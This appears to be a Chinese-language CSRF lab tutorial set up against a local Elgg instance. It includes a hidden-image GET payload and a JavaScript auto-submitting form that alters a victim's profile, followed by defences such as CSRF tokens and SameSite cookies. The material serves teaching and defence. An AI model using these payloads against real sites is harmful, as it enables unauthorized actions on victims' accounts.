1. CSRF攻击的本质与危害
跨站请求伪造(CSRF)就像有人偷偷用你的手机给朋友发消息。想象你登录了社交网站没有退出,这时访问了恶意网页,它就能冒充你执行加好友、改资料等操作。这种攻击不需要窃取密码,只要浏览器保持着目标网站的登录状态就会中招。
我曾在测试环境中模拟过这种攻击:当受害者访问植入恶意代码的页面时,攻击者构造的请求会悄悄触发社交网站后台操作。比如用隐藏的<img>标签发起GET请求自动添加好友,或者用JavaScript自动提交表单修改个人简介。最可怕的是,整个过程用户可能完全不知情。
CSRF能造成的危害包括:
- 未经授权的账户操作(转账、改密码)
- 社交关系篡改(强制关注、删除好友)
- 用户数据泄露(修改隐私设置)
- 内容污染(发布垃圾信息)
2. 实验环境搭建与观察
2.1 搭建靶场环境
我们用Elgg开源社交系统搭建实验环境,这是研究Web安全的经典平台。通过Docker快速部署:
docker pull seedsecurity/elgg docker run -d -p 8080:80 --name=elgg seedsecurity/elgg访问localhost:8080就能看到社交网站界面。注册两个测试账号:攻击者(attacker)和受害者(victim)。关键是要保持victim账号处于登录状态,这是CSRF成功的前提条件。
2.2 分析正常请求
先用Burp Suite抓包观察正常操作时的HTTP请求:
GET请求示例(添加好友):
GET /action/friends/add?friend=42 HTTP/1.1 Host: localhost:8080 Cookie: Elgg=xxxxxxxxPOST请求示例(修改简介):
POST /action/profile/edit HTTP/1.1 Content-Type: application/x-www-form-urlencoded name=victim&description=test&accesslevel=2
发现GET请求的参数直接暴露在URL里,而POST请求通过消息体传输。这直接影响我们后续构造攻击的方式。
3. 构造GET型CSRF攻击
3.1 攻击原理剖析
GET请求的CSRF利用最简单——只需要让受害者访问特定URL。我在测试时发现,通过<img>标签加载伪造的URL是最隐蔽的方式:
<html> <body> <img src="http://localhost:8080/action/friends/add?friend=42" style="display:none"> </body> </html>当victim账号访问这个页面时,浏览器会自动加载图片地址,实际上发送了添加好友的请求。由于请求携带了Elgg的会话cookie,服务器会认为是用户自愿操作。
3.2 实际攻击演示
- 确定victim的用户ID(通过查看网页源码)
- 构造恶意HTML文件并托管在攻击者服务器
- 诱导victim访问该页面
实测发现,即使用户当前停留在其他标签页,只要浏览器没有关闭,攻击仍然有效。这就是为什么银行网站执行重要操作时总会要求重新验证身份。
4. 实现POST型CSRF攻击
4.1 自动提交表单技术
POST请求需要构造表单并自动提交,我常用JavaScript动态创建表单元素:
function exploit() { let form = document.createElement('form'); form.action = 'http://localhost:8080/action/profile/edit'; form.method = 'POST'; let params = { 'name': 'victim', 'description': 'Hacked by attacker', 'accesslevel': 2 }; for (let key in params) { let input = document.createElement('input'); input.type = 'hidden'; input.name = key; input.value = params[key]; form.appendChild(input); } document.body.appendChild(form); form.submit(); } window.onload = exploit;4.2 攻击效果验证
将上述代码保存为HTML文件,当victim访问时:
- 页面加载完成后自动执行JavaScript
- 动态创建包含恶意数据的表单
- 自动提交表单修改用户资料
- 页面跳转前用户可能看到闪屏
这种攻击比GET更隐蔽,因为URL看起来是正常的,实际在后台完成了恶意操作。我在测试时发现,即使用户快速关闭页面,请求也可能已经发出。
5. 防御机制实战分析
5.1 CSRF Token防护
Elgg默认使用CSRF Token防御机制,原理是:
- 服务端生成随机token并存入session
- Token随表单一起发送给客户端
- 提交表单时需要验证token有效性
启用防御后,我们之前的攻击全部失效。查看服务端代码发现关键验证逻辑:
$token = get_input('__elgg_token'); if (!validate_token($token)) { register_error("Invalid request token"); forward(REFERER); }5.2 SameSite Cookie策略
现代浏览器支持通过Cookie的SameSite属性防御CSRF:
- Strict:完全禁止第三方Cookie
- Lax:允许部分安全请求(如导航跳转)携带Cookie
- None:不限制(需要配合Secure属性)
在测试中发现,设置SameSite=Strict后,所有跨站请求都不会携带认证Cookie,使得CSRF攻击无法进行。这是目前最有效的防御方案之一。
6. 攻防对抗的深层思考
在实际渗透测试中,CSRF往往需要结合其他漏洞才能发挥作用。比如当网站存在XSS漏洞时,攻击者可以先注入恶意脚本,然后通过该脚本发起CSRF攻击,完全绕过SameSite Cookie的限制。
防御方面建议采用分层策略:
- 关键操作使用POST请求
- 实施CSRF Token验证
- 设置Cookie的SameSite属性
- 敏感操作要求二次认证
- 定期检查referer头部
我在企业级项目中见过最完善的方案是:使用加密的state参数替代简单token,每次请求都验证state的时效性和唯一性,这样即使攻击者获取了token也无法重复使用。